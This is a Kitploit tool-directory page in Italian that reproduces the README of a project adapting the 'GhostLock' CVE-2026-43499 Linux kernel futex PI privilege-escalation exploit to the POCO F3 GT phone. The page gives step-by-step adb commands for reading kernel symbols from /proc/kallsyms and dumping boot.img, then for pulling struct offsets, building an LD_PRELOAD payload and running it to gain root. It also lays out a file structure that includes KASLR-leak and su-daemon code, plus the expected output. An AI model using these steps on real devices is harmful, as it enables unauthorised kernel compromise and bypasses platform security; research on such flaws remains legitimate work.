Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ghostlock-aresin — Exploit GhostLock (CVE-2026-43499) per POCO F3 GT (aresin) — MediaTek Dimensity 1200, escalation dei privilegi del kernel Linux 4.14.186 ARM64 tramite manipolazione della catena futex PI. | Kitploit
Strumenti/GitHubGitHub/nothingfumo/ghostlock-aresin
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringSicurezza MobileBinary Exploitation
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

Exploit GhostLock (CVE-2026-43499) per POCO F3 GT (aresin) — MediaTek Dimensity 1200, escalation dei privilegi del kernel Linux 4.14.186 ARM64 tramite manipolazione della catena futex PI.

Vedi Repository
425 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Data-only physmap overwrite exploit per MediaTek Dimensity 1200 (MT6893). Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM。

⚠️ Prerequisiti

  • Dispositivo: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
  • Chip: MediaTek Dimensity 1200 (MT6893)
  • Sistema: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Kernel: 4.14.186-g0dc1d312efb3
  • Nessuno sblocco BL richiesto — è possibile ottenere i permessi di shell tramite Shizuku (debug wireless) per eseguire
  • Shizuku o adb shell può eseguire binari arm64
  • Dopo l'esecuzione il dispositivo si riavvierà (kernel panic — comportamento previsto). Se desideri salvare i log, collega in anticipo adb logcat

✅ Verifica delle condizioni della vulnerabilità

CondizioneStatoDescrizione
Intervallo versione kernel✅4.14.186 è nell'intervallo 2.6.39 ~ 7.0.4
CONFIG_FUTEX_PI✅Abilitato (y)
CONFIG_RT_MUTEXES✅Abilitato (y)
Architettura✅aarch64
CONFIG_PREEMPT✅Abilitato (y)
CONFIG_RANDOMIZE_KSTACK❓Da confermare (potrebbe non essere supportato su 4.14)

🔧 Passaggi di adattamento

Passo 1: Estrarre gli indirizzi dei simboli del kernel

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

Se si ha root (Magisk), è possibile estrarre direttamente da /proc/kallsyms:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Passo 2: Estrarre vmlinux e analizzare gli offset delle strutture

Metodo A: Estrarre vmlinux da boot.img

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Metodo B: Analisi con Ghidra

  1. Apri vmlinux.elf con Ghidra
  2. Cerca le strutture rt_mutex_waiter e task_struct
  3. Registra gli offset di ciascun campo

Passo 3: Compilare target.h

Inserisci gli offset estratti in tutte le posizioni 0xTODO in target.h.

Tabella di riferimento degli offset chiave:

Passo 4: Compilazione

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Passo 5: Test

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Comportamento atteso

⚠️ Note importanti

Differenze tra kernel 4.14.x e 6.1.x

  1. La struttura rt_mutex_waiter è diversa:

    • 4.14.x usa plist_node invece di rb_node
    • Gli offset dei campi sono completamente diversi
    • Potrebbero non esserci i campi deadline / ww_ctx
  2. Layout di task_struct diverso:

    • Gli offset di pi_blocked_on, pi_lock, ecc. in 4.14.x sono diversi da 6.1.x
    • I campi relativi a uclamp potrebbero non esistere in 4.14.x
  3. Implementazione KASLR diversa:

    • Il metodo di randomizzazione KASLR in 4.14.x è diverso da 6.1.x
    • Il metodo di leak potrebbe richiedere aggiustamenti
  4. Differenze di sicurezza Android 13 vs 14:

    • Le policy SELinux potrebbero essere diverse
    • Le restrizioni di accesso a /proc/self/pagemap potrebbero essere diverse

Verifica degli offset

Dopo aver inserito gli offset, si consiglia di verificarli in modo incrociato con Ghidra:

  1. Apri vmlinux.elf in Ghidra
  2. Vai alla struttura rt_mutex_waiter
  3. Conferma che gli offset di ogni campo corrispondano a target.h

📁 Struttura dei file

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 Licenza

Solo per scopi di ricerca/educativi. Usalo a tuo rischio.

PoC originale: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Adattato per: POCO F3 GT (aresin) da ghostlock-aresin

Scarica lo strumento
CampoDescrizioneMetodo di estrazione
INIT_TASKIndirizzo di init_task/proc/kallsyms o Ghidra
INIT_CREDIndirizzo di init_cred/proc/kallsyms o Ghidra
WAITER_*_OFFOffset dei campi di rt_mutex_waiterpahole / Ghidra
FAKE_TASK_*_OFFOffset dei campi di task_structpahole / Ghidra
TASK_CRED_OFFOffset del puntatore a credpahole / Ghidra
FaseOutputDescrizione
Inizializzazione[*] GhostLock - aresin (MT6893 D1200) 4.14.186Riconoscimento corretto del dispositivo
Binding CPU[+] CPU0 pinnedFissato alla CPU0
Caricamento indirizzo[*] init_task @ 0xffffffc00xxxxxxxIndirizzo LM fisso
Controllo permessi[+] uid: xxxxxStampa l'uid corrente
KASLR slide[+] slide = 0 o slide = xxxRilevamento KASLR
Trigger dell'escalationDopo il successo l'uid diventa 0Ottenere root
Fallimento[-] ... + riavvioKernel panic (la vulnerabilità esiste ma gli offset devono essere regolati)